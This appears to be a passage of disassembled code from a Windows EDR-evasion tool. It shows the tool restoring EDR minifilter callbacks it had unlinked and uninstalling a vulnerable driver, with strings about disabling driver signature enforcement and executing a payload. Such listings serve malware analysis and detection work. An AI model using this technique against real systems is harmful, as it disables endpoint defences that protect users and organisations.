lea rcx, str.___Restoring_EDRs_minifilter_callbacks...
call fcn.140018be0
lea rcx, str.____MinifilterCallbacks__tRestoring_unlinked_callbacks_node_by_re_inserting_them_in_their_original_place
call fcn.140018be0
mov rax, qword [rsp + 0x70]
xor r12d, r12d
mov rcx, qword [rax + 0x10]
imul rax, qword [rax], 0x38
lea rdi, [rcx - 0x38]
add rdi, rax
cmp rcx, rdi
ja 0x140003659
mov rax, qword [rsp + 0x70]
cmp dword [rdi], 2
jne 0x14000364b
cmp dword [rdi + 0x30], r13d
jne 0x14000364b
mov rsi, qword [rdi + 0x10]
lea r8, [rsp + 0x78]
mov ecx, 8
lea rdx, [rsi + 8]
call fcn.14000a840
lea r8, [rbp - 0x70]
mov rdx, rsi
mov ecx, 8
call fcn.14000a840
mov r14, qword [rsp + 0x78]
lea r8, [rbp - 0x60]
mov rdx, r14
mov ecx, 8
call fcn.14000a840
mov rbx, qword [rbp - 0x70]
lea r8, [rbp - 0x58]
mov ecx, 8
lea rdx, [rbx + 8]
call fcn.14000a840
cmp qword [rbp - 0x60], rbx
jne 0x14000363a
cmp qword [rbp - 0x58], r14
jne 0x14000363a
lea r8, [rbp - 0x78]
mov qword [rbp - 0x78], rsi
lea rdx, [rbx + 8]
mov ecx, 8
call fcn.14000a9b0
lea r8, [rbp - 0x78]
mov qword [rbp - 0x78], rsi
mov rdx, r14
mov ecx, 8
call fcn.14000a9b0
inc r12
mov dword [rdi + 0x30], 0
jmp 0x140003646
lea rcx, str._____MinifilterCallbacks__tWARNING:_a_callback_node_could_not_have_been_restored__Maybe_the_node_list_changed_between_node_removal_and_node_reinsertion_
call fcn.140018be0
mov rax, qword [rsp + 0x70]
sub rdi, 0x38
cmp qword [rax + 0x10], rdi
jbe 0x140003590
mov rdx, r12
lea rcx, str.____MinifilterCallbacks__t_t_llu_callback_nodes_were_restored__n
call fcn.140001010
lea rcx, [0x140037ec8]
call fcn.140018be0
cmp dword [rsp + 0x5c], 0
je 0x140003693
mov ecx, dword [rsp + 0x50]
mov edx, r13d
call fcn.140008ee0
lea rcx, [0x140037ec8]
call fcn.140018be0
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x1400036a5
mov rcx, rax
call fcn.140018ae4
cmp dword [rsp + 0x54], 0
je 0x140003751
cmp dword [rsp + 0x6c], 0
je 0x140003751
lea rcx, str.___Uninstalling_vulnerable_driver...
call fcn.140018be0
mov rcx, qword [0x140054ac0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140054ac0], r15
call fcn.140003b50
test eax, eax
jne 0x140003745
lea rcx, str.____An_error_occured_while_attempting_to_uninstall_the_vulnerable_driver
call fcn.140018be0
mov rbx, qword [0x1400586e0]
test rbx, rbx
je 0x140003710
nop dword [rax]
inc r15
cmp word [rbx + r15*2], 0
jne 0x140003700
test r15, r15
jne 0x140003739
mov edx, 2
lea ecx, [rdx + 7]
call fcn.1400120fc
mov rbx, rax
test rax, rax
je 0x140003732
mov edx, 8
mov rcx, rax
call fcn.14000b3a0
mov qword [0x1400586e0], rbx
mov rdx, rbx
lea rcx, str.___The_service_should_be_manually_deleted_and_the_computer_restarted._Use:_cmd__c_sc_delete__s_n
jmp 0x140003781
lea rcx, str.___The_vulnerable_driver_was_successfully_uninstalled_
call fcn.140018be0
mov r13d, dword [rbp - 0x80]
jmp 0x140003786
lea rcx, [rbp + 0x2c70]
call fcn.140018be0
lea rcx, [rbp + 0x3150]
call fcn.140018be0
xor eax, eax
jmp 0x140003789
lea rdx, [rbp + 0x2c70]
lea rcx, [0x140037454]
call fcn.140001010
mov eax, r13d
mov r15, qword [rsp + 0x6280]
mov r14, qword [rsp + 0x62c8]
mov r12, qword [rsp + 0x62c0]
mov rdi, qword [rsp + 0x62b0]
mov rcx, qword [rbp + 0x6170]
xor rcx, rsp
call fcn.14000dc70
add rsp, 0x6288
pop r13
pop rsi
pop rbx
pop rbp
ret
lea rcx, str.Invalid_DSE_disabling_method__aborting...
call fcn.140001010
mov ecx, r13d
call fcn.1400120f0
int3
lea rcx, str.Something_failed__cannot_perform_safely_execute_payload._Aborting..._n
call fcn.140001010
mov ecx, r13d
call fcn.1400120f0
int3